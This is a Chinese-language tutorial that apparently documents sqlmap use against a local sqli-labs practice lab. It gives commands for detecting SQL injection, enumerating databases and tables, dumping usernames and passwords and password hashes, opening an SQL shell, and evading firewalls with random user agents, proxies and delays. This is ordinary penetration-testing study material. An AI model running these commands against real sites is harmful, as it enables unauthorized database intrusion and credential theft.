kali sqlmap笔记

文章目录

        • 搭建sql注入平台
        • sql入门
          • 查询是否存在注入
          • 查询https网站
          • 查询当前用户下的所有数据库
          • 查询数据库中的表名
          • 查询表中的字段名
          • 查询字段内容
          • 查询数据库中的所有用户
          • 查询数据库用户密码
        • sqlmap 参数
          • -r 从文件中载入HTTP请求
          • -v 输出信息详细级别:0-6
          • -m 从文本中获取多个目标扫描
          • --level 设置探测等级
          • --is-dba 查询当前数据库的账户是否为管理员账户
          • --sql-shell 运行自定义sql语句
          • --random-agent 设置一个随机的UA
          • --referer 设置指定的refer
          • --proxy 使用代理连接
          • --proxy-file 使用文件中的代理地址连接
          • --force-ssl 强制使用SSL/HTTPS
          • --delay 设置延时
          • --safe-url,--safe-freq 设置安全链接
          • --dbms 指定数据库
          • -p 设置测试特定测试

搭建sql注入平台

这里选择的是sqli-labs
在windows上搭建一下,具体过程就不多介绍了

kali sqlmap笔记_第1张图片

搭建完毕
点击第一关

kali sqlmap笔记_第2张图片


sql入门

查询是否存在注入
sqlmap -u http://192.168.1.100/Less-1/?id=1

注:注入点后面的参数大于等于2个时,url需要加双引号

kali sqlmap笔记_第3张图片

两个提示,提示1:可能存在注入,数据库可能是Mysql;提示2:可能存在XSS
直接回车

kali sqlmap笔记_第4张图片

反馈回来的信息

查询https网站
sqlmap -u https://192.168.1.100/Less-1/?id=1 --force-ssl
查询当前用户下的所有数据库
sqlmap -u http://192.168.1.100/Less-1/?id=1 --dbs

kali sqlmap笔记_第5张图片

查询数据库中的表名
sqlmap -u http://192.168.1.100/Less-1/?id=1 -D security --tables

kali sqlmap笔记_第6张图片

查询表中的字段名
sqlmap -u http://192.168.1.100/Less-1/?id=1 -D security -T users --columns

kali sqlmap笔记_第7张图片

查询字段内容
sqlmap -u http://192.168.1.100/Less-1/?id=1 -D security -T users -C password,username --dump

kali sqlmap笔记_第8张图片

网站的用户名和密码全都明文显示出来了

查询数据库中的所有用户
sqlmap -u http://192.168.1.100/Less-1/?id=1 --users

kali sqlmap笔记_第9张图片

查询数据库用户密码
sqlmap -u http://192.168.1.100/Less-1/?id=1 --passwords

kali sqlmap笔记_第10张图片

密码的hash值出来了,解密后就可以获得到密码
简单的密码直接可以用sqlmap算出来,不过计算的会比较慢

kali sqlmap笔记_第11张图片


sqlmap 参数

-r 从文件中载入HTTP请求

sqlmap可以从一个文本文件中获取HTTP请求,这样就可以跳过设置一些其他参数(比如cookie,POST数据,等等)。

vim 1.txt
GET /Less-1/?id=1 HTTP/1.1
Host: 192.168.0.104
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
sqlmap -r 1.txt
-v 输出信息详细级别:0-6

Sqlmap的输出信息按从简到繁共分为7个级别(和葫芦娃一样多),依次为0、1、2、3、4、5和6。使用参数“-v <级别>”来指定某个等级,如使用参数“-v 6”来指定输出级别为6。默认输出级别为1。各个输出级别的描述如下:

  • 只显示Python的tracebacks信息、错误信息[ERROR]和关键信息[CRITICAL];
  • 同时显示普通信息[INFO]和警告信息[WARNING];
  • 同时显示调试信息[DEBUG];
  • 同时显示注入使用的攻击荷载;
  • 同时显示HTTP请求;
  • 同时显示HTTP响应头;
  • 同时显示HTTP响应体。
-m 从文本中获取多个目标扫描
vim 1.txt
http://192.168.0.104/Less-1/?id=1
http://192.168.0.104/Less-1/?id=2
http://192.168.0.104/Less-1/?id=3
http://192.168.0.104/Less-1/?id=4
http://192.168.0.104/Less-1/?id=5
sqlmap -m 1.txt
–level 设置探测等级

不加level参数时,默认的探测等级是1,会测试get和post数据
等级2会比等级1多测试cookie
等级3会比等级2多测试 UA和referer
等级越高测试的payload越多,耗时越久
具体每个等级都有哪些payload可在payloads.xml中查看
kali中payloads.xml的默认位置是 /usr/share/golismero/tools/sqlmap/xml/payloads.xml

–is-dba 查询当前数据库的账户是否为管理员账户
sqlmap -u http://192.168.1.100/Less-1/?id=1 --is-dba

kali sqlmap笔记_第12张图片

–sql-shell 运行自定义sql语句
sqlmap -u http://192.168.1.100/Less-1/?id=1 --sql-shell

kali sqlmap笔记_第13张图片

现在就可以输入自定义的sql语句来执行了

–random-agent 设置一个随机的UA

sqlmap默认的UA是 sqlmap/1.2.7#stable (http://sqlmap.org)
要是我们想设置一个随机的UA,可使用该参数

sqlmap -u http://192.168.1.100/Less-1/?id=1 --random-agent
–referer 设置指定的refer

有的页面会判断访问的来源,所以有时候我们需要指定的refer

sqlmap -u http://192.168.1.100/Less-1/?id=1 --referer http://www.baidu.com
–proxy 使用代理连接
sqlmap -u http://192.168.1.100/Less-1/?id=1 --proxy http://192.168.0.104:1080
–proxy-file 使用文件中的代理地址连接
vim 1.txt
192.168.0.101:1080
192.168.0.102:1080
192.168.0.103:1080
192.168.0.104:1080
192.168.0.105:1080
sqlmap -u http://192.168.1.100/Less-1/?id=1 --proxy-file 1.txt
–force-ssl 强制使用SSL/HTTPS
–delay 设置延时

每个HTTP请求之间的延迟(秒),防止因为访问过于频繁被网站防火墙拦截

sqlmap -u http://192.168.1.100/Less-1/?id=1 --delay 5
–safe-url,–safe-freq 设置安全链接

–safe-url:提供一个安全不错误的连接,每隔一段时间都会去访问一下。
–safe-freq:提供一个安全不错误的连接,每次测试请求之后都会再访问一边安全连接。

sqlmap -u http://192.168.1.100/Less-1/?id=1 --safe-url http://192.168.1.100
sqlmap -u http://192.168.1.100/Less-1/?id=1 --safe-freq http://192.168.1.100
–dbms 指定数据库

在知道目标所使用的数据库的情况下,可以使用 --dbms 来指定数据库

sqlmap -u http://192.168.1.100/Less-1/?id=1 --dbms=mysql
-p 设置测试特定测试

要是目标链接有多个参数,可以用 -p 来指定只测试特定的参数

sqlmap -u http://192.168.1.100/Less-1/?id=1 -p id

你可能感兴趣的:(kali,安全)